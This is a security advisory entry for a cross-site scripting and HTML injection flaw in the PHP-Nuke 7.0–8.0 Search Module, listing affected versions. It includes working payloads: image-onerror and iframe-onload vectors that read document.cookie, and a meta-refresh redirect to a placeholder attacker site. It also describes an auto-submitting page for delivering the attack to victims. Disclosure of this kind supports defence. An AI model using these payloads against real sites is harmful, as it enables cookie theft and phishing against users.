vulnerabilities

PHP-Nuke 7.0-8.0 Search Module Cross-Site Scripting Vulnerability

SecurityFocus Bid (» link)

Bugtraq ID: 25171
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 01 2007 12:00AM
Updated: Aug 02 2007 10:15PM
Credit: Mikispag is credited with the discovery of this vulnerability.
Vulnerable: PHP-Nuke PHP-Nuke 8.0
PHP-Nuke PHP-Nuke 7.9
PHP-Nuke PHP-Nuke 7.8
PHP-Nuke PHP-Nuke 7.7
PHP-Nuke PHP-Nuke 7.6
PHP-Nuke PHP-Nuke 7.5
PHP-Nuke PHP-Nuke 7.4
PHP-Nuke PHP-Nuke 7.3
PHP-Nuke PHP-Nuke 7.2
PHP-Nuke PHP-Nuke 7.1
PHP-Nuke PHP-Nuke 7.0

Original Advisory

From: mikispag
Date: 1 Aug 2007 15:58:47 -0000

PHP-Nuke ALL versions Search Module multiple XSS and HTML injection
-------------------------------------------------------------------

The well-known PHP-Nuke CMS is vulnerable to multiple XSS attacks and HTML injections through the Search Module.

The request is made using POST, but the whole process can be automatized creating an ad-hoc page to send to the victim 
with an auto-submitting forum using POST as method and the vulnerable URL (http://vulnsite.com/modules.php?name=Search) 
as ACTION.

Both the XSS and the HTML injection work on IE 6/7 and Firefox (ALL versions), with every server and php.ini 
configuration.

You may use the following queries for testing.

*XSS*:

<img src=http://www.microsoft.com/404.jpg style=display:none onerror=XSS_HERE <

<iframe src=http://www.google.com style=display:none onload=XSS_HERE <

For example:

<img src=http://x.com/404.jpg style=display:none onerror=alert(document.cookie) <
<iframe src=http://x.com style=display:none onload=alert(document.cookie) <

*HTML injection*:

<meta http-equiv=refresh content=1;url=http://evilsite.com <

Obviosuly, using XSS a malicious hacker can obtain some sensitive and confidential information like cookies, or set up 
a phishing attack.

Mikispag